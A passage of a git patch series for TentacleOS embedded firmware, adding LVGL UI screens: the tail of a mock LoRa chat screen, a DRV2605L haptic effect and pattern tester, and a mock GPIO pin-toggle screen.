s_home_sel = 0; + build_screen(); + goto edges; + } + if (back && !s_back_last) + ui_switch_screen(SCREEN_MENU); + break; + + case VIEW_HOME: + if (down && !s_down_last && s_home_sel < HOME_COUNT - 1) { + s_home_sel++; + style_home_row(s_home_rows[s_home_sel - 1], s_home_sel - 1, false); + style_home_row(s_home_rows[s_home_sel], s_home_sel, true); + } + if (up && !s_up_last && s_home_sel > 0) { + s_home_sel--; + style_home_row(s_home_rows[s_home_sel + 1], s_home_sel + 1, false); + style_home_row(s_home_rows[s_home_sel], s_home_sel, true); + } + if (ok && !s_ok_last) { + s_view = (s_home_sel == 0) ? VIEW_CONNECT : (s_home_sel == 1) ? VIEW_NODES : VIEW_CONFIGS; + build_screen(); + goto edges; + } + if (back && !s_back_last) { + s_view = VIEW_PROTO; + build_screen(); + goto edges; + } + break; + + case VIEW_CONNECT: + if (back && !s_back_last) { + s_view = VIEW_HOME; + build_screen(); + goto edges; + } + break; + + case VIEW_NODES: + if (down && !s_down_last) + menu_component_next(&s_menu); + if (up && !s_up_last) + menu_component_prev(&s_menu); + if (ok && !s_ok_last) { + s_node = menu_component_get_selected(&s_menu); + s_view = VIEW_CHAT; + build_screen(); + goto edges; + } + if (back && !s_back_last) { + s_view = VIEW_HOME; + build_screen(); + goto edges; + } + break; + + case VIEW_CONFIGS: { + int sel = menu_component_get_selected(&s_menu); + if (down && !s_down_last) + menu_component_next(&s_menu); + if (up && !s_up_last) + menu_component_prev(&s_menu); + if (left && !s_left_last) + cycle_config(sel, -1); + if (right && !s_right_last) + cycle_config(sel, +1); + if (ok && !s_ok_last && sel == CFG_ROLE) + menu_component_toggle_item(&s_menu, sel); + if (back && !s_back_last) { + s_view = VIEW_HOME; + build_screen(); + goto edges; + } + break; + } + + case VIEW_CHAT: + if (down && !s_down_last && s_chat_list) + lv_obj_scroll_by(s_chat_list, 0, -36, LV_ANIM_ON); + if (up && !s_up_last && s_chat_list) + lv_obj_scroll_by(s_chat_list, 0, 36, LV_ANIM_ON); + if (ok && !s_ok_last) + keyboard_open(NULL, on_kb_submit, NULL); + if (back && !s_back_last) { + s_view = VIEW_NODES; + build_screen(); + goto edges; + } + break; + } + +edges: + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; +} + +void ui_lora_chat_open(void) { + s_view = VIEW_PROTO; + s_proto = 0; + s_node = 0; + s_linked = false; + s_phase = 0; + s_connect_timer = NULL; + s_reply_timer = NULL; + s_phase_timer = NULL; + s_up_last = s_down_last = s_left_last = s_right_last = s_ok_last = s_back_last = false; + build_screen(); + ESP_LOGI(TAG, "LoRa mesh (mock) opened"); +} + +void ui_lora_chat_open_chat(void) { + s_view = VIEW_CHAT; + s_proto = 0; + s_node = 0; + s_linked = true; + s_phase = 0; + s_connect_timer = NULL; + s_reply_timer = NULL; + s_phase_timer = NULL; + s_up_last = s_down_last = s_left_last = s_right_last = s_ok_last = s_back_last = false; + build_screen(); + ESP_LOGI(TAG, "LoRa chat (mock) opened at chat view"); +} From 638ad376654dec08c5dbbe59faaefb16efb36419 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 13:08:35 -0300 Subject: [PATCH 118/572] feat(ui): add haptic screen --- .../ui/screens/haptic/haptic_ui.c | 373 ++++++++++++++++++ .../ui/screens/haptic/include/haptic_ui.h | 30 ++ 2 files changed, 403 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/screens/haptic/haptic_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/haptic/include/haptic_ui.h diff --git a/firmware_p4/components/Applications/ui/screens/haptic/haptic_ui.c b/firmware_p4/components/Applications/ui/screens/haptic/haptic_ui.c new file mode 100644 index 000000000..9d10820f1 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/haptic/haptic_ui.c @@ -0,0 +1,373 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "haptic_ui.h" + +#include + +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "buttons_gpio.h" +#include "drv2605l.h" +#include "menu_component_ui.h" +#include "ui_manager.h" +#include "ui_theme.h" + +static const char *TAG = "HAPTIC_UI"; + +#define NAV_TIMER_MS 50 +#define LIVE_ROW 0 +#define CAT_ROW 1 +#define FX_ROW 2 +#define PAT_ROW 3 +#define CAL_ROW 4 + +#define HAPTIC_TASK_STACK_SIZE 2816 +#define HAPTIC_TASK_PRIORITY 5 + +typedef struct { + uint8_t id; + const char *name; +} fx_t; + +typedef struct { + const char *name; + const fx_t *fx; + int count; +} fx_cat_t; + +static const fx_t CLICKS[] = { + {1, "Strong Click"}, + {2, "Str Click 60"}, + {4, "Sharp Click"}, + {5, "Shp Click 60"}, + {7, "Soft Bump"}, + {10, "Double Click"}, + {12, "Triple Click"}, + {13, "Soft Fuzz"}, +}; +static const fx_t TICKS[] = { + {24, "Sharp Tick 1"}, + {25, "Sharp Tick 2"}, + {26, "Sharp Tick 3"}, + {23, "Med Click 3"}, + {17, "Med Click 1"}, +}; +static const fx_t BUZZES[] = { + {14, "Strong Buzz"}, + {47, "Buzz 1"}, + {48, "Buzz 2"}, + {49, "Buzz 3"}, + {50, "Buzz 4"}, + {51, "Buzz 5"}, + {15, "Alert 750ms"}, + {16, "Alert 1s"}, +}; +static const fx_t PULSES[] = { + {52, "Puls Strong1"}, + {53, "Puls Strong2"}, + {54, "Puls Med 1"}, + {55, "Puls Med 2"}, + {56, "Puls Sharp 1"}, + {57, "Puls Sharp 2"}, +}; +static const fx_t TRANS[] = { + {58, "Tran Click 1"}, + {64, "Tran Hum 1"}, + {82, "Ramp Up Long"}, + {88, "Ramp Up Shrt"}, + {93, "Ramp Dn Long"}, + {99, "Ramp Dn Shrt"}, +}; +static const fx_t HUMS[] = { + {119, "Smooth Hum 1"}, + {120, "Smooth Hum 2"}, + {121, "Smooth Hum 3"}, + {122, "Smooth Hum 4"}, + {123, "Smooth Hum 5"}, +}; + +#define CAT(n, arr) {n, arr, (int)(sizeof(arr) / sizeof((arr)[0]))} +static const fx_cat_t CATS[] = { + CAT("Clicks", CLICKS), + CAT("Ticks", TICKS), + CAT("Buzzes", BUZZES), + CAT("Pulses", PULSES), + CAT("Transitions", TRANS), + CAT("Hums", HUMS), +}; +#define NCAT ((int)(sizeof(CATS) / sizeof(CATS[0]))) + +enum { PAT_HEARTBEAT, PAT_SOS, PAT_NOTIFY, PAT_RAMP, PAT_THROB, PAT_COUNT }; +static const char *const PAT_NAMES[PAT_COUNT] = {"Heartbeat", "SOS", "Notify", "Ramp", "Throb"}; + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; +static volatile bool s_busy = false; +static volatile bool s_pat_cancel = false; +static bool s_rtp_live = false; +static int s_cat = 0, s_fx = 0, s_pat = 0; + +static bool s_btn_up_last, s_btn_down_last, s_btn_left_last, s_btn_right_last; +static bool s_btn_ok_last, s_btn_back_last; + +static uint8_t rtp_for_level(int level) { + if (level <= 0) + return 0; + if (level >= INTENSITY_BAR_STEPS) + return 127; + return (uint8_t)((level * 127) / INTENSITY_BAR_STEPS); +} + +static void apply_live_intensity(void) { + int lv = menu_component_get_intensity(&s_menu, LIVE_ROW); + uint8_t rtp = rtp_for_level(lv); + if (rtp == 0) { + drv2605l_stop(); + s_rtp_live = false; + } else { + drv2605l_set_rtp(rtp); + s_rtp_live = true; + } +} + +static void stop_live_intensity(void) { + if (s_rtp_live) { + drv2605l_stop(); + s_rtp_live = false; + } +} + +static void update_fx_label(void) { + menu_component_set_selector_value(&s_menu, FX_ROW, CATS[s_cat].fx[s_fx].name); +} + +static void play_current_fx(void) { + drv2605l_play_effect(CATS[s_cat].fx[s_fx].id); +} + +static void pat_dot(int rtp, int on_ms) { + if (s_pat_cancel) + return; + drv2605l_set_rtp((uint8_t)rtp); + vTaskDelay(pdMS_TO_TICKS(on_ms)); + drv2605l_stop(); + vTaskDelay(pdMS_TO_TICKS(110)); +} + +static void pattern_task(void *arg) { + (void)arg; + switch (s_pat) { + case PAT_HEARTBEAT: + for (int k = 0; k < 3 && !s_pat_cancel; k++) { + drv2605l_play_effect(1); + vTaskDelay(pdMS_TO_TICKS(130)); + drv2605l_play_effect(1); + vTaskDelay(pdMS_TO_TICKS(560)); + } + break; + case PAT_SOS: + for (int i = 0; i < 3 && !s_pat_cancel; i++) + pat_dot(110, 120); + vTaskDelay(pdMS_TO_TICKS(120)); + for (int i = 0; i < 3 && !s_pat_cancel; i++) + pat_dot(110, 340); + vTaskDelay(pdMS_TO_TICKS(120)); + for (int i = 0; i < 3 && !s_pat_cancel; i++) + pat_dot(110, 120); + break; + case PAT_NOTIFY: + drv2605l_play_effect(10); + vTaskDelay(pdMS_TO_TICKS(180)); + if (!s_pat_cancel) + drv2605l_play_effect(4); + break; + case PAT_RAMP: + for (int v = 0; v <= 127 && !s_pat_cancel; v += 8) { + drv2605l_set_rtp((uint8_t)v); + vTaskDelay(pdMS_TO_TICKS(22)); + } + for (int v = 127; v >= 0 && !s_pat_cancel; v -= 8) { + drv2605l_set_rtp((uint8_t)v); + vTaskDelay(pdMS_TO_TICKS(22)); + } + break; + case PAT_THROB: + for (int c = 0; c < 3 && !s_pat_cancel; c++) { + for (int a = 0; a < 32 && !s_pat_cancel; a++) { + float ph = (float)a / 32.0f * 6.2831853f; + int v = (int)((0.5f - 0.5f * cosf(ph)) * 120.0f); + drv2605l_set_rtp((uint8_t)v); + vTaskDelay(pdMS_TO_TICKS(18)); + } + } + break; + default: + break; + } + drv2605l_stop(); + s_busy = false; + vTaskDelete(NULL); +} + +static void autocal_task(void *arg) { + (void)arg; + drv2605l_autocal(); + drv2605l_play_effect(1); + s_busy = false; + vTaskDelete(NULL); +} + +static void start_worker(TaskFunction_t fn, const char *name) { + if (s_busy) + return; + s_busy = true; + s_pat_cancel = false; + if (xTaskCreate(fn, name, HAPTIC_TASK_STACK_SIZE, NULL, HAPTIC_TASK_PRIORITY, NULL) != pdPASS) + s_busy = false; +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + bool up = ui_btn_up(), down = ui_btn_down(); + bool left = ui_btn_left(), right = ui_btn_right(); + bool ok = ok_button_is_down(), back = back_button_is_down(); + + if (s_busy) { + if (back && !s_btn_back_last) + s_pat_cancel = true; + s_btn_up_last = up; + s_btn_down_last = down; + s_btn_left_last = left; + s_btn_right_last = right; + s_btn_ok_last = ok; + s_btn_back_last = back; + return; + } + + int sel = menu_component_get_selected(&s_menu); + + if (down && !s_btn_down_last) { + stop_live_intensity(); + menu_component_next(&s_menu); + } + if (up && !s_btn_up_last) { + stop_live_intensity(); + menu_component_prev(&s_menu); + } + + if (right && !s_btn_right_last) { + if (sel == LIVE_ROW) { + menu_component_intensity_inc(&s_menu, LIVE_ROW); + apply_live_intensity(); + } else if (sel == CAT_ROW) { + s_cat = (s_cat + 1) % NCAT; + s_fx = 0; + menu_component_set_selector_value(&s_menu, CAT_ROW, CATS[s_cat].name); + update_fx_label(); + } else if (sel == FX_ROW) { + s_fx = (s_fx + 1) % CATS[s_cat].count; + update_fx_label(); + play_current_fx(); + } else if (sel == PAT_ROW) { + s_pat = (s_pat + 1) % PAT_COUNT; + menu_component_set_selector_value(&s_menu, PAT_ROW, PAT_NAMES[s_pat]); + } + } + if (left && !s_btn_left_last) { + if (sel == LIVE_ROW) { + menu_component_intensity_dec(&s_menu, LIVE_ROW); + apply_live_intensity(); + } else if (sel == CAT_ROW) { + s_cat = (s_cat - 1 + NCAT) % NCAT; + s_fx = 0; + menu_component_set_selector_value(&s_menu, CAT_ROW, CATS[s_cat].name); + update_fx_label(); + } else if (sel == FX_ROW) { + s_fx = (s_fx - 1 + CATS[s_cat].count) % CATS[s_cat].count; + update_fx_label(); + play_current_fx(); + } else if (sel == PAT_ROW) { + s_pat = (s_pat - 1 + PAT_COUNT) % PAT_COUNT; + menu_component_set_selector_value(&s_menu, PAT_ROW, PAT_NAMES[s_pat]); + } + } + + if (ok && !s_btn_ok_last) { + if (sel == LIVE_ROW) + apply_live_intensity(); + else if (sel == FX_ROW) + play_current_fx(); + else if (sel == PAT_ROW) + start_worker(pattern_task, "haptic_pat"); + else if (sel == CAL_ROW) + start_worker(autocal_task, "haptic_cal"); + } + + if (back && !s_btn_back_last) { + if (s_busy) { + s_pat_cancel = true; + } else { + stop_live_intensity(); + ui_switch_screen(SCREEN_SETTINGS); + } + } + + s_btn_up_last = up; + s_btn_down_last = down; + s_btn_left_last = left; + s_btn_right_last = right; + s_btn_ok_last = ok; + s_btn_back_last = back; +} + +void ui_haptic_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_rtp_live = false; + s_cat = 0; + s_fx = 0; + s_pat = 0; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + s_menu = menu_component_create(s_screen, "Vibration", "/assets/icons/phone_icon.bin"); + menu_component_add_intensity(&s_menu, NULL, "Live Intensity", 3); + menu_component_add_selector(&s_menu, NULL, "Category", CATS[0].name); + menu_component_add_selector(&s_menu, NULL, "Effect", CATS[0].fx[0].name); + menu_component_add_selector(&s_menu, NULL, "Pattern", PAT_NAMES[0]); + menu_component_add_item(&s_menu, NULL, "Calibrate ERM"); + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); + ESP_LOGI(TAG, "haptic menu opened"); +} diff --git a/firmware_p4/components/Applications/ui/screens/haptic/include/haptic_ui.h b/firmware_p4/components/Applications/ui/screens/haptic/include/haptic_ui.h new file mode 100644 index 000000000..5381471e5 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/haptic/include/haptic_ui.h @@ -0,0 +1,30 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef HAPTIC_UI_H +#define HAPTIC_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @brief Open the haptic test menu (pick a DRV2605L effect; OK plays it). */ +void ui_haptic_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // HAPTIC_UI_H From 8989c5585918e88d413eb7e629f6f346e9e3fb72 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 13:09:00 -0300 Subject: [PATCH 119/572] feat(ui): add GPIO screen --- .../Applications/ui/screens/gpio/gpio_ui.c | 345 ++++++++++++++++++ .../ui/screens/gpio/include/gpio_ui.h | 35 ++ 2 files changed, 380 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/screens/gpio/gpio_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/gpio/include/gpio_ui.h diff --git a/firmware_p4/components/Applications/ui/screens/gpio/gpio_ui.c b/firmware_p4/components/Applications/ui/screens/gpio/gpio_ui.c new file mode 100644 index 000000000..aff08310f --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/gpio/gpio_ui.c @@ -0,0 +1,345 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "gpio_ui.h" + +#include "esp_log.h" +#include "lvgl.h" + +#include "buttons_gpio.h" +#include "ui_chrome.h" +#include "ui_manager.h" +#include "ui_theme.h" + +static const char *TAG = "GPIO_UI"; + +#define NAV_TIMER_MS 50 +#define HEADER_TITLE "GPIO" +#define HINT_TEXT "OK = Toggle BACK = Exit" + +#define ON_COLOR 0x00E676 +#define ON_DARK 0x0A6B45 +#define OFF_DARK 0x171326 +#define HOLE_COLOR 0x05030C + +#define BODY_W 202 +#define ROW_H 26 +#define ROW_GAP 6 +#define BODY_PAD 12 +#define BODY_RADIUS 12 +#define BODY_Y 8 + +#define PAD_SIZE 18 +#define PAD_HOLE 7 +#define COL_INSET 10 +#define LABEL_GAP 36 + +#define SEL_BORDER 2 +#define PULSE_BORDER_PEAK 5 + +#define RAIL_W 2 +#define RAIL_OPA LV_OPA_20 + +#define HEADER_LABEL_Y 10 +#define RULE_W_PCT 70 +#define RULE_H 2 +#define RULE_Y 32 +#define RULE_RADIUS 1 + +#define STRIP_LABEL "EXPANSION HEADER" +#define STRIP_Y 40 + +#define STATUS_GAP 12 +#define HINT_Y (-6) +#define BODY_FADE_MS 220 +#define PULSE_MS 150 + +#define COLS 2 + +static const struct { + const char *name; + const char *tag; + bool on; +} PINS[] = { + {"PIN 1 (IO1)", "IO1", false}, + {"PIN 2 (IO2)", "IO2", true}, + {"PIN 3 (IO3)", "IO3", false}, + {"PIN 4 (IO4)", "IO4", false}, + {"PIN 5 (IO5)", "IO5", true}, + {"PIN 6 (IO6)", "IO6", false}, + {"PIN 7 (IO7)", "IO7", false}, + {"PIN 8 (IO8)", "IO8", false}, + {"5V on pin 1", "5V", false}, + {"USB-UART bridge", "UART", false}, +}; +#define PIN_COUNT ((int)(sizeof(PINS) / sizeof(PINS[0]))) +#define ROWS_PER_COL ((PIN_COUNT + COLS - 1) / COLS) + +static lv_obj_t *s_screen = NULL; +static lv_obj_t *s_body = NULL; +static lv_obj_t *s_pad[PIN_COUNT]; +static lv_obj_t *s_label[PIN_COUNT]; +static lv_obj_t *s_status = NULL; +static lv_timer_t *s_nav_timer = NULL; + +static bool s_on[PIN_COUNT]; +static int s_sel = 0; + +static bool s_up_last = false; +static bool s_down_last = false; +static bool s_ok_last = false; +static bool s_back_last = false; + +static void opa_anim_cb(void *var, int32_t v) { + lv_obj_set_style_opa((lv_obj_t *)var, (lv_opa_t)v, 0); +} + +static void border_width_cb(void *var, int32_t v) { + lv_obj_set_style_border_width((lv_obj_t *)var, v, 0); +} + +static void apply_pin_state(int i) { + if (i < 0 || i >= PIN_COUNT) + return; + bool on = s_on[i]; + lv_color_t on_color = lv_color_hex(ON_COLOR); + + lv_obj_set_style_bg_color(s_pad[i], on ? on_color : current_theme.border_inactive, 0); + lv_obj_set_style_bg_grad_color(s_pad[i], on ? lv_color_hex(ON_DARK) : lv_color_hex(OFF_DARK), 0); + lv_obj_set_style_bg_grad_dir(s_pad[i], LV_GRAD_DIR_VER, 0); + lv_obj_set_style_shadow_color(s_pad[i], on_color, 0); + lv_obj_set_style_shadow_width(s_pad[i], on ? 12 : 0, 0); + lv_obj_set_style_shadow_opa(s_pad[i], on ? LV_OPA_60 : LV_OPA_TRANSP, 0); + + lv_obj_set_style_text_color(s_label[i], on ? on_color : current_theme.text_main, 0); + lv_obj_set_style_text_opa(s_label[i], on ? LV_OPA_COVER : LV_OPA_80, 0); +} + +static void apply_selection(void) { + for (int i = 0; i < PIN_COUNT; i++) { + bool sel = (i == s_sel); + lv_obj_set_style_border_width(s_pad[i], sel ? SEL_BORDER : 0, 0); + lv_obj_set_style_border_color(s_pad[i], current_theme.border_accent, 0); + lv_obj_set_style_border_opa(s_pad[i], sel ? LV_OPA_COVER : LV_OPA_TRANSP, 0); + } +} + +static void update_status(void) { + bool on = s_on[s_sel]; + lv_label_set_text_fmt(s_status, "%s %s", PINS[s_sel].name, on ? "HIGH" : "LOW"); + lv_obj_set_style_text_color(s_status, on ? lv_color_hex(ON_COLOR) : current_theme.text_main, 0); + lv_obj_set_style_text_opa(s_status, on ? LV_OPA_COVER : LV_OPA_60, 0); +} + +static void pulse_pin(int i) { + if (i < 0 || i >= PIN_COUNT) + return; + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, s_pad[i]); + lv_anim_set_exec_cb(&a, border_width_cb); + lv_anim_set_values(&a, SEL_BORDER, PULSE_BORDER_PEAK); + lv_anim_set_duration(&a, PULSE_MS); + lv_anim_set_playback_duration(&a, PULSE_MS); + lv_anim_set_path_cb(&a, lv_anim_path_ease_out); + lv_anim_start(&a); +} + +static void make_pin_row(int i) { + int col = i / ROWS_PER_COL; + int row = i % ROWS_PER_COL; + bool left = (col == 0); + + int avail = ROWS_PER_COL * ROW_H + (ROWS_PER_COL - 1) * ROW_GAP; + int y = -avail / 2 + row * (ROW_H + ROW_GAP) + ROW_H / 2; + + lv_obj_t *pad = lv_obj_create(s_body); + lv_obj_remove_flag(pad, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(pad, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(pad, PAD_SIZE, PAD_SIZE); + lv_obj_set_style_radius(pad, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_border_width(pad, 0, 0); + lv_obj_set_style_pad_all(pad, 0, 0); + lv_obj_set_style_bg_opa(pad, LV_OPA_COVER, 0); + lv_obj_align( + pad, left ? LV_ALIGN_LEFT_MID : LV_ALIGN_RIGHT_MID, left ? COL_INSET : -COL_INSET, y); + s_pad[i] = pad; + + lv_obj_t *hole = lv_obj_create(pad); + lv_obj_remove_flag(hole, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(hole, PAD_HOLE, PAD_HOLE); + lv_obj_set_style_radius(hole, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_border_width(hole, 0, 0); + lv_obj_set_style_pad_all(hole, 0, 0); + lv_obj_set_style_bg_color(hole, lv_color_hex(HOLE_COLOR), 0); + lv_obj_set_style_bg_opa(hole, LV_OPA_70, 0); + lv_obj_center(hole); + + lv_obj_t *lbl = lv_label_create(s_body); + lv_label_set_long_mode(lbl, LV_LABEL_LONG_DOT); + lv_label_set_text(lbl, PINS[i].tag); + lv_obj_set_style_text_font(lbl, &lv_font_montserrat_14, 0); + lv_obj_set_width(lbl, BODY_W / 2 - LABEL_GAP - BODY_PAD); + lv_obj_set_style_text_align(lbl, left ? LV_TEXT_ALIGN_LEFT : LV_TEXT_ALIGN_RIGHT, 0); + lv_obj_align( + lbl, left ? LV_ALIGN_LEFT_MID : LV_ALIGN_RIGHT_MID, left ? LABEL_GAP : -LABEL_GAP, y); + s_label[i] = lbl; +} + +static void build_connector(void) { + int body_h = ROWS_PER_COL * ROW_H + (ROWS_PER_COL - 1) * ROW_GAP + BODY_PAD * 2; + + s_body = lv_obj_create(s_screen); + lv_obj_remove_flag(s_body, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(s_body, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(s_body, BODY_W, body_h); + lv_obj_align(s_body, LV_ALIGN_CENTER, 0, BODY_Y); + lv_obj_set_style_pad_all(s_body, BODY_PAD, 0); + lv_obj_set_style_radius(s_body, BODY_RADIUS, 0); + lv_obj_set_style_bg_color(s_body, current_theme.bg_primary, 0); + lv_obj_set_style_bg_grad_color(s_body, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_grad_dir(s_body, LV_GRAD_DIR_VER, 0); + lv_obj_set_style_border_width(s_body, 1, 0); + lv_obj_set_style_border_color(s_body, current_theme.border_accent, 0); + lv_obj_set_style_shadow_color(s_body, current_theme.border_accent, 0); + lv_obj_set_style_shadow_width(s_body, 14, 0); + lv_obj_set_style_shadow_opa(s_body, LV_OPA_30, 0); + + lv_obj_t *rail = lv_obj_create(s_body); + lv_obj_remove_flag(rail, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(rail, RAIL_W, body_h - BODY_PAD * 2); + lv_obj_center(rail); + lv_obj_set_style_border_width(rail, 0, 0); + lv_obj_set_style_radius(rail, 1, 0); + lv_obj_set_style_bg_color(rail, current_theme.border_accent, 0); + lv_obj_set_style_bg_opa(rail, RAIL_OPA, 0); + + for (int i = 0; i < PIN_COUNT; i++) + make_pin_row(i); +} + +static void build_header(void) { + lv_obj_t *title = lv_label_create(s_screen); + lv_label_set_text(title, HEADER_TITLE); + lv_obj_set_style_text_color(title, current_theme.border_accent, 0); + lv_obj_set_style_text_font(title, &lv_font_montserrat_14, 0); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, HEADER_LABEL_Y); + + lv_obj_t *rule = lv_obj_create(s_screen); + lv_obj_remove_flag(rule, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(rule, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(rule, lv_pct(RULE_W_PCT), RULE_H); + lv_obj_align(rule, LV_ALIGN_TOP_MID, 0, RULE_Y); + lv_obj_set_style_border_width(rule, 0, 0); + lv_obj_set_style_radius(rule, RULE_RADIUS, 0); + lv_obj_set_style_bg_color(rule, current_theme.border_accent, 0); + lv_obj_set_style_bg_opa(rule, LV_OPA_40, 0); + + lv_obj_t *strip = lv_label_create(s_screen); + lv_label_set_text(strip, STRIP_LABEL); + lv_obj_set_style_text_color(strip, current_theme.border_inactive, 0); + lv_obj_set_style_text_font(strip, &lv_font_montserrat_12, 0); + lv_obj_align(strip, LV_ALIGN_TOP_MID, 0, STRIP_Y); +} + +static void toggle_selected(void) { + s_on[s_sel] = !s_on[s_sel]; + apply_pin_state(s_sel); + apply_selection(); + pulse_pin(s_sel); + update_status(); + ESP_LOGI(TAG, "mock toggle pin %d -> %d", s_sel, s_on[s_sel]); +} + +static void move_selection(int dir) { + s_sel = (s_sel + dir + PIN_COUNT) % PIN_COUNT; + apply_selection(); + update_status(); +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); + + if (down && !s_down_last) + move_selection(1); + if (up && !s_up_last) + move_selection(-1); + if (ok && !s_ok_last) + toggle_selected(); + if (back && !s_back_last) + ui_switch_screen(SCREEN_MENU); + + s_up_last = up; + s_down_last = down; + s_ok_last = ok; + s_back_last = back; +} + +void ui_gpio_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + + s_sel = 0; + s_up_last = s_down_last = s_ok_last = s_back_last = false; + for (int i = 0; i < PIN_COUNT; i++) + s_on[i] = PINS[i].on; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + ui_chrome_header(s_screen, HEADER_TITLE, "/assets/icons/config_icon.bin"); + build_connector(); + + for (int i = 0; i < PIN_COUNT; i++) + apply_pin_state(i); + apply_selection(); + + s_status = lv_label_create(s_screen); + lv_obj_set_style_text_font(s_status, &lv_font_montserrat_12, 0); + lv_obj_align_to(s_status, s_body, LV_ALIGN_OUT_BOTTOM_MID, 0, STATUS_GAP); + update_status(); + + ui_chrome_footer(s_screen, HINT_TEXT); + + lv_obj_set_style_opa(s_body, LV_OPA_TRANSP, 0); + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, s_body); + lv_anim_set_exec_cb(&a, opa_anim_cb); + lv_anim_set_values(&a, LV_OPA_TRANSP, LV_OPA_COVER); + lv_anim_set_duration(&a, BODY_FADE_MS); + lv_anim_set_path_cb(&a, lv_anim_path_ease_out); + lv_anim_start(&a); + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} diff --git a/firmware_p4/components/Applications/ui/screens/gpio/include/gpio_ui.h b/firmware_p4/components/Applications/ui/screens/gpio/include/gpio_ui.h new file mode 100644 index 000000000..19a476879 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/gpio/include/gpio_ui.h @@ -0,0 +1,35 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef UI_GPIO_H +#define UI_GPIO_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * @brief Open the GPIO control screen (MOCK). + * + * Shows a list of pins with ON/OFF toggles. OK flips the focused pin's toggle. + * No real GPIO is driven. + */ +void 